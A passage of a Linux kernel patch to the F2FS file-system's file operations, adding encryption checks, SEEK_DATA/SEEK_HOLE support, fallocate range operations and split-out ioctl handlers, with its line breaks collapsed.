generic_file_llseek_size(file, offset, whence, + maxbytes, i_size_read(inode)); + case SEEK_DATA: + case SEEK_HOLE: + if (offset < 0) + return -ENXIO; + return f2fs_seek_block(file, offset, whence); + } + + return -EINVAL; +} + static int f2fs_file_mmap(struct file *file, struct vm_area_struct *vma) { + struct inode *inode = file_inode(file); + + if (f2fs_encrypted_inode(inode)) { + int err = f2fs_get_encryption_info(inode); + if (err) + return 0; + } + + /* we don't need to use inline_data strictly */ + if (f2fs_has_inline_data(inode)) { + int err = f2fs_convert_inline_inode(inode); + if (err) + return err; + } + file_accessed(file); vma->vm_ops = &f2fs_file_vm_ops; return 0; } -static int truncate_data_blocks_range(struct dnode_of_data *dn, int count) +static int f2fs_file_open(struct inode *inode, struct file *filp) +{ + int ret = generic_file_open(inode, filp); + + if (!ret && f2fs_encrypted_inode(inode)) { + ret = f2fs_get_encryption_info(inode); + if (ret) + ret = -EACCES; + } + return ret; +} + +int truncate_data_blocks_range(struct dnode_of_data *dn, int count) { - int nr_free = 0, ofs = dn->ofs_in_node; - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); struct f2fs_node *raw_node; + int nr_free = 0, ofs = dn->ofs_in_node, len = count; __le32 *addr; - raw_node = page_address(dn->node_page); + raw_node = F2FS_NODE(dn->node_page); addr = blkaddr_in_node(raw_node) + ofs; - for ( ; count > 0; count--, addr++, dn->ofs_in_node++) { + for (; count > 0; count--, addr++, dn->ofs_in_node++) { block_t blkaddr = le32_to_cpu(*addr); if (blkaddr == NULL_ADDR) continue; - update_extent_cache(NULL_ADDR, dn); + dn->data_blkaddr = NULL_ADDR; + set_data_blkaddr(dn); invalidate_blocks(sbi, blkaddr); - dec_valid_block_count(sbi, dn->inode, 1); + if (dn->ofs_in_node == 0 && IS_INODE(dn->node_page)) + clear_inode_flag(F2FS_I(dn->inode), + FI_FIRST_BLOCK_WRITTEN); nr_free++; } + if (nr_free) { + pgoff_t fofs; + /* + * once we invalidate valid blkaddr in range [ofs, ofs + count], + * we will invalidate all blkaddr in the whole range. + */ + fofs = start_bidx_of_node(ofs_of_node(dn->node_page), + F2FS_I(dn->inode)) + ofs; + f2fs_update_extent_cache_range(dn, fofs, 0, len); + dec_valid_block_count(sbi, dn->inode, nr_free); set_page_dirty(dn->node_page); sync_inode_page(dn); } @@ -204,61 +516,80 @@ void truncate_data_blocks(struct dnode_of_data *dn) truncate_data_blocks_range(dn, ADDRS_PER_BLOCK); } -static void truncate_partial_data_page(struct inode *inode, u64 from) +static int truncate_partial_data_page(struct inode *inode, u64 from, + bool cache_only) { unsigned offset = from & (PAGE_CACHE_SIZE - 1); + pgoff_t index = from >> PAGE_CACHE_SHIFT; + struct address_space *mapping = inode->i_mapping; struct page *page; - if (!offset) - return; - - page = find_data_page(inode, from >> PAGE_CACHE_SHIFT, false); - if (IS_ERR(page)) - return; + if (!offset && !cache_only) + return 0; - lock_page(page); - if (page->mapping != inode->i_mapping) { + if (cache_only) { + page = f2fs_grab_cache_page(mapping, index, false); + if (page && PageUptodate(page)) + goto truncate_out; f2fs_put_page(page, 1); - return; + return 0; } - wait_on_page_writeback(page); + + page = get_lock_data_page(inode, index, true); + if (IS_ERR(page)) + return 0; +truncate_out: + f2fs_wait_on_page_writeback(page, DATA); zero_user(page, offset, PAGE_CACHE_SIZE - offset); - set_page_dirty(page); + if (!cache_only || !f2fs_encrypted_inode(inode) || !S_ISREG(inode->i_mode)) + set_page_dirty(page); f2fs_put_page(page, 1); + return 0; } -static int truncate_blocks(struct inode *inode, u64 from) +int truncate_blocks(struct inode *inode, u64 from, bool lock) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); unsigned int blocksize = inode->i_sb->s_blocksize; struct dnode_of_data dn; pgoff_t free_from; - int count = 0, ilock = -1; - int err; + int count = 0, err = 0; + struct page *ipage; + bool truncate_page = false; trace_f2fs_truncate_blocks_enter(inode, from); - free_from = (pgoff_t) - ((from + blocksize - 1) >> (sbi->log_blocksize)); + free_from = (pgoff_t)F2FS_BYTES_TO_BLK(from + blocksize - 1); - ilock = mutex_lock_op(sbi); - set_new_dnode(&dn, inode, NULL, NULL, 0); + if (lock) + f2fs_lock_op(sbi); + + ipage = get_node_page(sbi, inode->i_ino); + if (IS_ERR(ipage)) { + err = PTR_ERR(ipage); + goto out; + } + + if (f2fs_has_inline_data(inode)) { + if (truncate_inline_inode(ipage, from)) + set_page_dirty(ipage); + f2fs_put_page(ipage, 1); + truncate_page = true; + goto out; + } + + set_new_dnode(&dn, inode, ipage, NULL, 0); err = get_dnode_of_data(&dn, free_from, LOOKUP_NODE); if (err) { if (err == -ENOENT) goto free_next; - mutex_unlock_op(sbi, ilock); - trace_f2fs_truncate_blocks_exit(inode, err); - return err; + goto out; } - if (IS_INODE(dn.node_page)) - count = ADDRS_PER_INODE; - else - count = ADDRS_PER_BLOCK; + count = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); count -= dn.ofs_in_node; - BUG_ON(count < 0); + f2fs_bug_on(sbi, count < 0); if (dn.ofs_in_node || IS_INODE(dn.node_page)) { truncate_data_blocks_range(&dn, count); @@ -268,30 +599,45 @@ static int truncate_blocks(struct inode *inode, u64 from) f2fs_put_dnode(&dn); free_next: err = truncate_inode_blocks(inode, free_from); - mutex_unlock_op(sbi, ilock); +out: + if (lock) + f2fs_unlock_op(sbi); /* lastly zero out the first data page */ - truncate_partial_data_page(inode, from); + if (!err) + err = truncate_partial_data_page(inode, from, truncate_page); trace_f2fs_truncate_blocks_exit(inode, err); return err; } -void f2fs_truncate(struct inode *inode) +int f2fs_truncate(struct inode *inode, bool lock) { + int err; + if (!(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode))) - return; + return 0; trace_f2fs_truncate(inode); - if (!truncate_blocks(inode, i_size_read(inode))) { - inode->i_mtime = inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(inode); + /* we should check inline_data size */ + if (f2fs_has_inline_data(inode) && !f2fs_may_inline_data(inode)) { + err = f2fs_convert_inline_inode(inode); + if (err) + return err; } + + err = truncate_blocks(inode, i_size_read(inode), lock); + if (err) + return err; + + inode->i_mtime = inode->i_ctime = CURRENT_TIME; + mark_inode_dirty(inode); + return 0; } -static int f2fs_getattr(struct vfsmount *mnt, +int f2fs_getattr(struct vfsmount *mnt, struct dentry *dentry, struct kstat *stat) { struct inode *inode = dentry->d_inode; @@ -341,11 +687,25 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) if (err) return err; - if ((attr->ia_valid & ATTR_SIZE) && - attr->ia_size != i_size_read(inode)) { - truncate_setsize(inode, attr->ia_size); - f2fs_truncate(inode); - f2fs_balance_fs(F2FS_SB(inode->i_sb)); + if (attr->ia_valid & ATTR_SIZE) { + if (f2fs_encrypted_inode(inode) && + f2fs_get_encryption_info(inode)) + return -EACCES; + + if (attr->ia_size <= i_size_read(inode)) { + truncate_setsize(inode, attr->ia_size); + err = f2fs_truncate(inode, true); + if (err) + return err; + f2fs_balance_fs(F2FS_I_SB(inode)); + } else { + /* + * do not trim all blocks after i_size if target size is + * larger than i_size. + */ + truncate_setsize(inode, attr->ia_size); + inode->i_mtime = inode->i_ctime = CURRENT_TIME; + } } __setattr_copy(inode, attr); @@ -372,61 +732,77 @@ const struct inode_operations f2fs_file_inode_operations = { .listxattr = f2fs_listxattr, .removexattr = generic_removexattr, #endif + .fiemap = f2fs_fiemap, }; -static void fill_zero(struct inode *inode, pgoff_t index, +static int fill_zero(struct inode *inode, pgoff_t index, loff_t start, loff_t len) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct page *page; - int ilock; if (!len) - return; + return 0; f2fs_balance_fs(sbi); - ilock = mutex_lock_op(sbi); - page = get_new_data_page(inode, index, false); - mutex_unlock_op(sbi, ilock); + f2fs_lock_op(sbi); + page = get_new_data_page(inode, NULL, index, false); + f2fs_unlock_op(sbi); - if (!IS_ERR(page)) { - wait_on_page_writeback(page); - zero_user(page, start, len); - set_page_dirty(page); - f2fs_put_page(page, 1); - } + if (IS_ERR(page)) + return PTR_ERR(page); + + f2fs_wait_on_page_writeback(page, DATA); + zero_user(page, start, len); + set_page_dirty(page); + f2fs_put_page(page, 1); + return 0; } int truncate_hole(struct inode *inode, pgoff_t pg_start, pgoff_t pg_end) { - pgoff_t index; int err; - for (index = pg_start; index < pg_end; index++) { + while (pg_start < pg_end) { struct dnode_of_data dn; + pgoff_t end_offset, count; set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, index, LOOKUP_NODE); + err = get_dnode_of_data(&dn, pg_start, LOOKUP_NODE); if (err) { - if (err == -ENOENT) + if (err == -ENOENT) { + pg_start++; continue; + } return err; } - if (dn.data_blkaddr != NULL_ADDR) - truncate_data_blocks_range(&dn, 1); + end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + count = min(end_offset - dn.ofs_in_node, pg_end - pg_start); + + f2fs_bug_on(F2FS_I_SB(inode), count == 0 || count > end_offset); + + truncate_data_blocks_range(&dn, count); f2fs_put_dnode(&dn); + + pg_start += count; } return 0; } -static int punch_hole(struct inode *inode, loff_t offset, loff_t len, int mode) +static int punch_hole(struct inode *inode, loff_t offset, loff_t len) { pgoff_t pg_start, pg_end; loff_t off_start, off_end; int ret = 0; + if (f2fs_has_inline_data(inode)) { + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + } + pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; @@ -434,91 +810,405 @@ static int punch_hole(struct inode *inode, loff_t offset, loff_t len, int mode) off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); if (pg_start == pg_end) { - fill_zero(inode, pg_start, off_start, + ret = fill_zero(inode, pg_start, off_start, off_end - off_start); + if (ret) + return ret; } else { - if (off_start) - fill_zero(inode, pg_start++, off_start, - PAGE_CACHE_SIZE - off_start); - if (off_end) - fill_zero(inode, pg_end, 0, off_end); + if (off_start) { + ret = fill_zero(inode, pg_start++, off_start, + PAGE_CACHE_SIZE - off_start); + if (ret) + return ret; + } + if (off_end) { + ret = fill_zero(inode, pg_end, 0, off_end); + if (ret) + return ret; + } if (pg_start < pg_end) { struct address_space *mapping = inode->i_mapping; loff_t blk_start, blk_end; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - int ilock; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); f2fs_balance_fs(sbi); - blk_start = pg_start << PAGE_CACHE_SHIFT; - blk_end = pg_end << PAGE_CACHE_SHIFT; + blk_start = (loff_t)pg_start << PAGE_CACHE_SHIFT; + blk_end = (loff_t)pg_end << PAGE_CACHE_SHIFT; truncate_inode_pages_range(mapping, blk_start, blk_end - 1); - ilock = mutex_lock_op(sbi); + f2fs_lock_op(sbi); ret = truncate_hole(inode, pg_start, pg_end); - mutex_unlock_op(sbi, ilock); + f2fs_unlock_op(sbi); } } - if (!(mode & FALLOC_FL_KEEP_SIZE) && - i_size_read(inode) <= (offset + len)) { - i_size_write(inode, offset); - mark_inode_dirty(inode); - } - return ret; } -static int expand_inode_data(struct inode *inode, loff_t offset, - loff_t len, int mode) +static int __exchange_data_block(struct inode *inode, pgoff_t src, + pgoff_t dst, bool full) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - pgoff_t index, pg_start, pg_end; - loff_t new_size = i_size_read(inode); - loff_t off_start, off_end; - int ret = 0; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct dnode_of_data dn; + block_t new_addr; + bool do_replace = false; + int ret; - ret = inode_newsize_ok(inode, (len + offset)); - if (ret) + set_new_dnode(&dn, inode, NULL, NULL, 0); + ret = get_dnode_of_data(&dn, src, LOOKUP_NODE_RA); + if (ret && ret != -ENOENT) { return ret; + } else if (ret == -ENOENT) { + new_addr = NULL_ADDR; + } else { + new_addr = dn.data_blkaddr; + if (!is_checkpointed_data(sbi, new_addr)) { + dn.data_blkaddr = NULL_ADDR; + /* do not invalidate this block address */ + set_data_blkaddr(&dn); + f2fs_update_extent_cache(&dn); + do_replace = true; + } + f2fs_put_dnode(&dn); + } - pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; - pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; - - off_start = offset & (PAGE_CACHE_SIZE - 1); - off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + if (new_addr == NULL_ADDR) + return full ? truncate_hole(inode, dst, dst + 1) : 0; - for (index = pg_start; index <= pg_end; index++) { - struct dnode_of_data dn; - int ilock; + if (do_replace) { + struct page *ipage = get_node_page(sbi, inode->i_ino); + struct node_info ni; - ilock = mutex_lock_op(sbi); - set_new_dnode(&dn, inode, NULL, NULL, 0); - ret = get_dnode_of_data(&dn, index, ALLOC_NODE); - if (ret) { - mutex_unlock_op(sbi, ilock); - break; + if (IS_ERR(ipage)) { + ret = PTR_ERR(ipage); + goto err_out; } - if (dn.data_blkaddr == NULL_ADDR) { - ret = reserve_new_block(&dn); - if (ret) { - f2fs_put_dnode(&dn); - mutex_unlock_op(sbi, ilock); - break; - } - } - f2fs_put_dnode(&dn); - mutex_unlock_op(sbi, ilock); + set_new_dnode(&dn, inode, ipage, NULL, 0); + ret = f2fs_reserve_block(&dn, dst); + if (ret) + goto err_out; - if (pg_start == pg_end) + truncate_data_blocks_range(&dn, 1); + + get_node_info(sbi, dn.nid, &ni); + f2fs_replace_block(sbi, &dn, dn.data_blkaddr, new_addr, + ni.version, true); + f2fs_put_dnode(&dn); + } else { + struct page *psrc, *pdst; + + psrc = get_lock_data_page(inode, src, true); + if (IS_ERR(psrc)) + return PTR_ERR(psrc); + pdst = get_new_data_page(inode, NULL, dst, false); + if (IS_ERR(pdst)) { + f2fs_put_page(psrc, 1); + return PTR_ERR(pdst); + } + f2fs_copy_page(psrc, pdst); + set_page_dirty(pdst); + f2fs_put_page(pdst, 1); + f2fs_put_page(psrc, 1); + + return truncate_hole(inode, src, src + 1); + } + return 0; + +err_out: + if (!get_dnode_of_data(&dn, src, LOOKUP_NODE)) { + dn.data_blkaddr = new_addr; + set_data_blkaddr(&dn); + f2fs_update_extent_cache(&dn); + f2fs_put_dnode(&dn); + } + return ret; +} + +static int f2fs_do_collapse(struct inode *inode, pgoff_t start, pgoff_t end) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + pgoff_t nrpages = (i_size_read(inode) + PAGE_SIZE - 1) / PAGE_SIZE; + int ret = 0; + + for (; end < nrpages; start++, end++) { + f2fs_balance_fs(sbi); + f2fs_lock_op(sbi); + ret = __exchange_data_block(inode, end, start, true); + f2fs_unlock_op(sbi); + if (ret) + break; + } + return ret; +} + +static int f2fs_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + pgoff_t pg_start, pg_end; + loff_t new_size; + int ret; + + if (offset + len >= i_size_read(inode)) + return -EINVAL; + + /* collapse range should be aligned to block size of f2fs. */ + if (offset & (F2FS_BLKSIZE - 1) || len & (F2FS_BLKSIZE - 1)) + return -EINVAL; + + f2fs_balance_fs(F2FS_I_SB(inode)); + + if (f2fs_has_inline_data(inode)) { + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + } + + pg_start = offset >> PAGE_CACHE_SHIFT; + pg_end = (offset + len) >> PAGE_CACHE_SHIFT; + + /* write out all dirty pages from offset */ + ret = filemap_write_and_wait_range(inode->i_mapping, offset, LLONG_MAX); + if (ret) + return ret; + + truncate_pagecache(inode, 0, offset); + + ret = f2fs_do_collapse(inode, pg_start, pg_end); + if (ret) + return ret; + + /* write out all moved pages, if possible */ + filemap_write_and_wait_range(inode->i_mapping, offset, LLONG_MAX); + truncate_pagecache(inode, 0, offset); + + new_size = i_size_read(inode) - len; + truncate_pagecache(inode, 0, new_size); + + ret = truncate_blocks(inode, new_size, true); + if (!ret) + i_size_write(inode, new_size); + + return ret; +} + +static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, + int mode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct address_space *mapping = inode->i_mapping; + pgoff_t index, pg_start, pg_end; + loff_t new_size = i_size_read(inode); + loff_t off_start, off_end; + int ret = 0; + + ret = inode_newsize_ok(inode, (len + offset)); + if (ret) + return ret; + + f2fs_balance_fs(sbi); + + if (f2fs_has_inline_data(inode)) { + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + } + + ret = filemap_write_and_wait_range(mapping, offset, offset + len - 1); + if (ret) + return ret; + + truncate_pagecache_range(inode, offset, offset + len - 1); + + pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; + pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; + + off_start = offset & (PAGE_CACHE_SIZE - 1); + off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + + if (pg_start == pg_end) { + ret = fill_zero(inode, pg_start, off_start, + off_end - off_start); + if (ret) + return ret; + + if (offset + len > new_size) + new_size = offset + len; + new_size = max_t(loff_t, new_size, offset + len); + } else { + if (off_start) { + ret = fill_zero(inode, pg_start++, off_start, + PAGE_CACHE_SIZE - off_start); + if (ret) + return ret; + + new_size = max_t(loff_t, new_size, + (loff_t)pg_start << PAGE_CACHE_SHIFT); + } + + for (index = pg_start; index < pg_end; index++) { + struct dnode_of_data dn; + struct page *ipage; + + f2fs_lock_op(sbi); + + ipage = get_node_page(sbi, inode->i_ino); + if (IS_ERR(ipage)) { + ret = PTR_ERR(ipage); + f2fs_unlock_op(sbi); + goto out; + } + + set_new_dnode(&dn, inode, ipage, NULL, 0); + ret = f2fs_reserve_block(&dn, index); + if (ret) { + f2fs_unlock_op(sbi); + goto out; + } + + if (dn.data_blkaddr != NEW_ADDR) { + invalidate_blocks(sbi, dn.data_blkaddr); + + dn.data_blkaddr = NEW_ADDR; + set_data_blkaddr(&dn); + + dn.data_blkaddr = NULL_ADDR; + f2fs_update_extent_cache(&dn); + } + f2fs_put_dnode(&dn); + f2fs_unlock_op(sbi); + + new_size = max_t(loff_t, new_size, + (loff_t)(index + 1) << PAGE_CACHE_SHIFT); + } + + if (off_end) { + ret = fill_zero(inode, pg_end, 0, off_end); + if (ret) + goto out; + + new_size = max_t(loff_t, new_size, offset + len); + } + } + +out: + if (!(mode & FALLOC_FL_KEEP_SIZE) && i_size_read(inode) < new_size) { + i_size_write(inode, new_size); + mark_inode_dirty(inode); + update_inode_page(inode); + } + + return ret; +} + +static int f2fs_insert_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + pgoff_t pg_start, pg_end, delta, nrpages, idx; + loff_t new_size; + int ret = 0; + + new_size = i_size_read(inode) + len; + if (new_size > inode->i_sb->s_maxbytes) + return -EFBIG; + + if (offset >= i_size_read(inode)) + return -EINVAL; + + /* insert range should be aligned to block size of f2fs. */ + if (offset & (F2FS_BLKSIZE - 1) || len & (F2FS_BLKSIZE - 1)) + return -EINVAL; + + f2fs_balance_fs(sbi); + + if (f2fs_has_inline_data(inode)) { + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + } + + ret = truncate_blocks(inode, i_size_read(inode), true); + if (ret) + return ret; + + /* write out all dirty pages from offset */ + ret = filemap_write_and_wait_range(inode->i_mapping, offset, LLONG_MAX); + if (ret) + return ret; + + truncate_pagecache(inode, 0, offset); + + pg_start = offset >> PAGE_CACHE_SHIFT; + pg_end = (offset + len) >> PAGE_CACHE_SHIFT; + delta = pg_end - pg_start; + nrpages = (i_size_read(inode) + PAGE_SIZE - 1) / PAGE_SIZE; + + for (idx = nrpages - 1; idx >= pg_start && idx != -1; idx--) { + f2fs_lock_op(sbi); + ret = __exchange_data_block(inode, idx, idx + delta, false); + f2fs_unlock_op(sbi); + if (ret) + break; + } + + /* write out all moved pages, if possible */ + filemap_write_and_wait_range(inode->i_mapping, offset, LLONG_MAX); + truncate_pagecache(inode, 0, offset); + + if (!ret) + i_size_write(inode, new_size); + return ret; +} + +static int expand_inode_data(struct inode *inode, loff_t offset, + loff_t len, int mode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + pgoff_t index, pg_start, pg_end; + loff_t new_size = i_size_read(inode); + loff_t off_start, off_end; + int ret = 0; + + f2fs_balance_fs(sbi); + + ret = inode_newsize_ok(inode, (len + offset)); + if (ret) + return ret; + + if (f2fs_has_inline_data(inode)) { + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + } + + pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; + pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; + + off_start = offset & (PAGE_CACHE_SIZE - 1); + off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + + f2fs_lock_op(sbi); + + for (index = pg_start; index <= pg_end; index++) { + struct dnode_of_data dn; + + if (index == pg_end && !off_end) + goto noalloc; + + set_new_dnode(&dn, inode, NULL, NULL, 0); + ret = f2fs_reserve_block(&dn, index); + if (ret) + break; +noalloc: + if (pg_start == pg_end) new_size = offset + len; else if (index == pg_start && off_start) - new_size = (index + 1) << PAGE_CACHE_SHIFT; + new_size = (loff_t)(index + 1) << PAGE_CACHE_SHIFT; else if (index == pg_end) - new_size = (index << PAGE_CACHE_SHIFT) + off_end; + new_size = ((loff_t)index << PAGE_CACHE_SHIFT) + + off_end; else new_size += PAGE_CACHE_SIZE; } @@ -527,33 +1217,78 @@ static int expand_inode_data(struct inode *inode, loff_t offset, i_size_read(inode) < new_size) { i_size_write(inode, new_size); mark_inode_dirty(inode); + update_inode_page(inode); } + f2fs_unlock_op(sbi); return ret; } +#define FALLOC_FL_COLLAPSE_RANGE 0X08 +#define FALLOC_FL_ZERO_RANGE 0X10 +#define FALLOC_FL_INSERT_RANGE 0X20 + static long f2fs_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); - long ret; + long ret = 0; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + /* f2fs only support ->fallocate for regular file */ + if (!S_ISREG(inode->i_mode)) + return -EINVAL; + + if (f2fs_encrypted_inode(inode) && + (mode & (FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_INSERT_RANGE))) return -EOPNOTSUPP; - if (mode & FALLOC_FL_PUNCH_HOLE) - ret = punch_hole(inode, offset, len, mode); - else + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | + FALLOC_FL_INSERT_RANGE)) + return -EOPNOTSUPP; + + mutex_lock(&inode->i_mutex); + + if (mode & FALLOC_FL_PUNCH_HOLE) { + if (offset >= inode->i_size) + goto out; + + ret = punch_hole(inode, offset, len); + } else if (mode & FALLOC_FL_COLLAPSE_RANGE) { + ret = f2fs_collapse_range(inode, offset, len); + } else if (mode & FALLOC_FL_ZERO_RANGE) { + ret = f2fs_zero_range(inode, offset, len, mode); + } else if (mode & FALLOC_FL_INSERT_RANGE) { + ret = f2fs_insert_range(inode, offset, len); + } else { ret = expand_inode_data(inode, offset, len, mode); + } if (!ret) { inode->i_mtime = inode->i_ctime = CURRENT_TIME; mark_inode_dirty(inode); } + +out: + mutex_unlock(&inode->i_mutex); + trace_f2fs_fallocate(inode, mode, offset, len, ret); return ret; } +static int f2fs_release_file(struct inode *inode, struct file *filp) +{ + /* some remained atomic pages should discarded */ + if (f2fs_is_atomic_file(inode)) + commit_inmem_pages(inode, true); + if (f2fs_is_volatile_file(inode)) { + set_inode_flag(F2FS_I(inode), FI_DROP_CACHE); + filemap_fdatawrite(inode->i_mapping); + clear_inode_flag(F2FS_I(inode), FI_DROP_CACHE); + } + return 0; +} + #define F2FS_REG_FLMASK (~(FS_DIRSYNC_FL | FS_TOPDIR_FL)) #define F2FS_OTHER_FLMASK (FS_NODUMP_FL | FS_NOATIME_FL) @@ -567,61 +1302,404 @@ static inline __u32 f2fs_mask_flags(umode_t mode, __u32 flags) return flags & F2FS_OTHER_FLMASK; } -long f2fs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) +static int f2fs_ioc_getflags(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_inode_info *fi = F2FS_I(inode); + unsigned int flags = fi->i_flags & FS_FL_USER_VISIBLE; + return put_user(flags, (int __user *)arg); +} + +static int f2fs_ioc_setflags(struct file *filp, unsigned long arg) { struct inode *inode = file_inode(filp); struct f2fs_inode_info *fi = F2FS_I(inode); - unsigned int flags; + unsigned int flags = fi->i_flags & FS_FL_USER_VISIBLE; + unsigned int oldflags; int ret; - switch (cmd) { - case FS_IOC_GETFLAGS: - flags = fi->i_flags & FS_FL_USER_VISIBLE; - return put_user(flags, (int __user *) arg); - case FS_IOC_SETFLAGS: - { - unsigned int oldflags; - - ret = mnt_want_write_file(filp); - if (ret) - return ret; + ret = mnt_want_write_file(filp); + if (ret) + return ret; - if (!inode_owner_or_capable(inode)) { - ret = -EACCES; - goto out; - } + if (!inode_owner_or_capable(inode)) { + ret = -EACCES; + goto out; + } + + if (get_user(flags, (int __user *)arg)) { + ret = -EFAULT; + goto out; + } + + flags = f2fs_mask_flags(inode->i_mode, flags); - if (get_user(flags, (int __user *) arg)) { - ret = -EFAULT; + mutex_lock(&inode->i_mutex); + + oldflags = fi->i_flags; + + if ((flags ^ oldflags) & (FS_APPEND_FL | FS_IMMUTABLE_FL)) { + if (!capable(CAP_LINUX_IMMUTABLE)) { + mutex_unlock(&inode->i_mutex); + ret = -EPERM; goto out; } + } - flags = f2fs_mask_flags(inode->i_mode, flags); + flags = flags & FS_FL_USER_MODIFIABLE; + flags |= oldflags & ~FS_FL_USER_MODIFIABLE; + fi->i_flags = flags; + mutex_unlock(&inode->i_mutex); - mutex_lock(&inode->i_mutex); + f2fs_set_inode_flags(inode); + inode->i_ctime = CURRENT_TIME; + mark_inode_dirty(inode); +out: + mnt_drop_write_file(filp); + return ret; +} - oldflags = fi->i_flags; +static int f2fs_ioc_getversion(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); - if ((flags ^ oldflags) & (FS_APPEND_FL | FS_IMMUTABLE_FL)) { - if (!capable(CAP_LINUX_IMMUTABLE)) { - mutex_unlock(&inode->i_mutex); - ret = -EPERM; - goto out; - } + return put_user(inode->i_generation, (int __user *)arg); +} + +static int f2fs_ioc_start_atomic_write(struct file *filp) +{ + struct inode *inode = file_inode(filp); + int ret; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + f2fs_balance_fs(F2FS_I_SB(inode)); + + if (f2fs_is_atomic_file(inode)) + return 0; + + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + + set_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); + return 0; +} + +static int f2fs_ioc_commit_atomic_write(struct file *filp) +{ + struct inode *inode = file_inode(filp); + int ret; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (f2fs_is_volatile_file(inode)) + return 0; + + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + if (f2fs_is_atomic_file(inode)) { + clear_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); + ret = commit_inmem_pages(inode, false); + if (ret) + goto err_out; + } + + ret = f2fs_sync_file(filp, 0, LLONG_MAX, 0); +err_out: + mnt_drop_write_file(filp); + return ret; +} + +static int f2fs_ioc_start_volatile_write(struct file *filp) +{ + struct inode *inode = file_inode(filp); + int ret; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (f2fs_is_volatile_file(inode)) + return 0; + + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; + + set_inode_flag(F2FS_I(inode), FI_VOLATILE_FILE); + return 0; +} + +static int f2fs_ioc_release_volatile_write(struct file *filp) +{ + struct inode *inode = file_inode(filp); + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (!f2fs_is_volatile_file(inode)) + return 0; + + if (!f2fs_is_first_block_written(inode)) + return truncate_partial_data_page(inode, 0, true); + + return punch_hole(inode, 0, F2FS_BLKSIZE); +} + +static int f2fs_ioc_abort_volatile_write(struct file *filp) +{ + struct inode *inode = file_inode(filp); + int ret; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + f2fs_balance_fs(F2FS_I_SB(inode)); + + clear_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); + clear_inode_flag(F2FS_I(inode), FI_VOLATILE_FILE); + commit_inmem_pages(inode, true); + + mnt_drop_write_file(filp); + return ret; +} + +static int f2fs_ioc_shutdown(struct file *filp, unsigned long arg) +{ + struct inode *inode = file_inode(filp); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct super_block *sb = sbi->sb; + __u32 in; + + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (get_user(in, (__u32 __user *)arg)) + return -EFAULT; + + switch (in) { + case FS_GOING_DOWN_FULLSYNC: + sb = freeze_bdev(sb->s_bdev); + if (sb && !IS_ERR(sb)) { + f2fs_stop_checkpoint(sbi); + thaw_bdev(sb->s_bdev, sb); } + break; + case FS_GOING_DOWN_METASYNC: + /* do checkpoint only */ + f2fs_sync_fs(sb, 1); + f2fs_stop_checkpoint(sbi); + break; + case FS_GOING_DOWN_NOSYNC: + f2fs_stop_checkpoint(sbi); + break; + case FS_GOING_DOWN_METAFLUSH: + sync_meta_pages(sbi, META, LONG_MAX); + f2fs_stop_checkpoint(sbi); + break; + default: + 